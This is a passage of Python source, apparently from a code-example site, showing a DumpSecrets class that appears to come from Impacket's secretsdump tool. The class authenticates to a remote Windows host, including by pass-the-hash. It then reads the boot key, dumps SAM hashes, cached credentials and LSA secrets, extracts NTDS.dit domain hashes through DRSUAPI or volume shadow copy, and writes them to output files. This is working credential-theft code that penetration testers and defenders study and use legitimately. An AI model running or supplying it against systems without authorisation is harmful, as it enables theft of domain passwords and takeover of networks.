                if self.__useVSSMethod is False:
                    logging.info(
                        'Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter'
                    )
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer = input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        logging.info('Cleaning up... ')
        if self.__remoteOps:
            self.__remoteOps.finish()
        if self.__SAMHashes:
            self.__SAMHashes.finish()
        if self.__LSASecrets:
            self.__LSASecrets.finish()
        if self.__NTDSHashes:
            self.__NTDSHashes.finish()
Exemplo n.º 6
0
class DumpSecrets:
    def __init__(self, remoteName, username='', password='', domain='', options=None):
        self.__useVSSMethod = options.use_vss
        self.__remoteName = remoteName
        self.__remoteHost = options.target_ip
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__aesKey = options.aesKey
        self.__smbConnection = None
        self.__remoteOps = None
        self.__SAMHashes = None
        self.__NTDSHashes = None
        self.__LSASecrets = None
        self.__systemHive = options.system
        self.__bootkey = options.bootkey
        self.__securityHive = options.security
        self.__samHive = options.sam
        self.__ntdsFile = options.ntds
        self.__history = options.history
        self.__noLMHash = True
        self.__isRemote = True
        self.__outputFileName = options.outputfile
        self.__doKerberos = options.k
        self.__justDC = options.just_dc
        self.__justDCNTLM = options.just_dc_ntlm
        self.__justUser = options.just_dc_user
        self.__pwdLastSet = options.pwd_last_set
        self.__printUserStatus= options.user_status
        self.__resumeFileName = options.resumefile
        self.__canProcessSAMLSA = True
        self.__kdcHost = options.dc_ip
        self.__options = options

        if options.hashes is not None:
            self.__lmhash, self.__nthash = options.hashes.split(':')

    def connect(self):
        self.__smbConnection = SMBConnection(self.__remoteName, self.__remoteHost)
        if self.__doKerberos:
            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                               self.__nthash, self.__aesKey, self.__kdcHost)
        else:
            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def dump(self):
        try:
            if self.__remoteName.upper() == 'LOCAL' and self.__username == '':
                self.__isRemote = False
                self.__useVSSMethod = True
                if self.__systemHive:
                    localOperations = LocalOperations(self.__systemHive)
                    bootKey = localOperations.getBootKey()
                    if self.__ntdsFile is not None:
                    # Let's grab target's configuration about LM Hashes storage
                        self.__noLMHash = localOperations.checkNoLMHashPolicy()
                else:
                    import binascii
                    bootKey = binascii.unhexlify(self.__bootkey)

            else:
                self.__isRemote = True
                bootKey = None
                try:
                    try:
                        self.connect()
                    except Exception as e:
                        if os.getenv('KRB5CCNAME') is not None and self.__doKerberos is True:
                            # SMBConnection failed. That might be because there was no way to log into the
                            # target system. We just have a last resort. Hope we have tickets cached and that they
                            # will work
                            logging.debug('SMBConnection didn\'t work, hoping Kerberos will help (%s)' % str(e))
                            pass
                        else:
                            raise

                    self.__remoteOps  = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost)
                    self.__remoteOps.setExecMethod(self.__options.exec_method)
                    if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
                        self.__remoteOps.enableRegistry()
                        bootKey             = self.__remoteOps.getBootKey()
                        # Let's check whether target system stores LM Hashes
                        self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
                except Exception as e:
                    self.__canProcessSAMLSA = False
                    if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \
                        and self.__doKerberos is True:
                        # Giving some hints here when SPN target name validation is set to something different to Off
                        # This will prevent establishing SMB connections using TGS for SPNs different to cifs/
                        logging.error('Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user')
                    else:
                        logging.error('RemoteOperations failed: %s' % str(e))

            # If RemoteOperations succeeded, then we can extract SAM and LSA
            if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA:
                try:
                    if self.__isRemote is True:
                        SAMFileName         = self.__remoteOps.saveSAM()
                    else:
                        SAMFileName         = self.__samHive

                    self.__SAMHashes    = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote)
                    self.__SAMHashes.dump()
                    if self.__outputFileName is not None:
                        self.__SAMHashes.export(self.__outputFileName)
                except Exception as e:
                    logging.error('SAM hashes extraction failed: %s' % str(e))

                try:
                    if self.__isRemote is True:
                        SECURITYFileName = self.__remoteOps.saveSECURITY()
                    else:
                        SECURITYFileName = self.__securityHive

                    self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps,
                                                   isRemote=self.__isRemote, history=self.__history)
                    self.__LSASecrets.dumpCachedHashes()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportCached(self.__outputFileName)
                    self.__LSASecrets.dumpSecrets()
                    if self.__outputFileName is not None:
                        self.__LSASecrets.exportSecrets(self.__outputFileName)
                except Exception as e:
                    if logging.getLogger().level == logging.DEBUG:
                        import traceback
                        traceback.print_exc()
                    logging.error('LSA hashes extraction failed: %s' % str(e))

            # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
            if self.__isRemote is True:
                if self.__useVSSMethod and self.__remoteOps is not None:
                    NTDSFileName = self.__remoteOps.saveNTDS()
                else:
                    NTDSFileName = None
            else:
                NTDSFileName = self.__ntdsFile

            self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history,
                                           noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
                                           useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
                                           pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
                                           outputFileName=self.__outputFileName, justUser=self.__justUser,
                                           printUserStatus= self.__printUserStatus)
            try:
                self.__NTDSHashes.dump()
            except Exception as e:
                if logging.getLogger().level == logging.DEBUG:
                    import traceback
                    traceback.print_exc()
                if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                    resumeFile = self.__NTDSHashes.getResumeSessionFile()
                    if resumeFile is not None:
                        os.unlink(resumeFile)
                logging.error(e)
                if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0:
                    logging.info("You just got that error because there might be some duplicates of the same name. "
                                 "Try specifying the domain name for the user as well. It is important to specify it "
                                 "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).")
                elif self.__useVSSMethod is False:
                    logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
            self.cleanup()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(e)
            if self.__NTDSHashes is not None:
                if isinstance(e, KeyboardInterrupt):
                    while True:
                        answer =  input("Delete resume session file? [y/N] ")
                        if answer.upper() == '':
                            answer = 'N'
                            break
                        elif answer.upper() == 'Y':
                            answer = 'Y'
                            break
                        elif answer.upper() == 'N':
                            answer = 'N'
                            break
                    if answer == 'Y':
                        resumeFile = self.__NTDSHashes.getResumeSessionFile()
                        if resumeFile is not None:
                            os.unlink(resumeFile)
            try:
                self.cleanup()
            except:
                pass

    def cleanup(self):
        try:
            logging.info('Cleaning up... ')
            if self.__remoteOps:
                self.__remoteOps.finish()
            if self.__SAMHashes:
                self.__SAMHashes.finish()
            if self.__LSASecrets:
                self.__LSASecrets.finish()
            if self.__NTDSHashes:
                self.__NTDSHashes.finish()
        except Exception as e:
            if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0:
                raise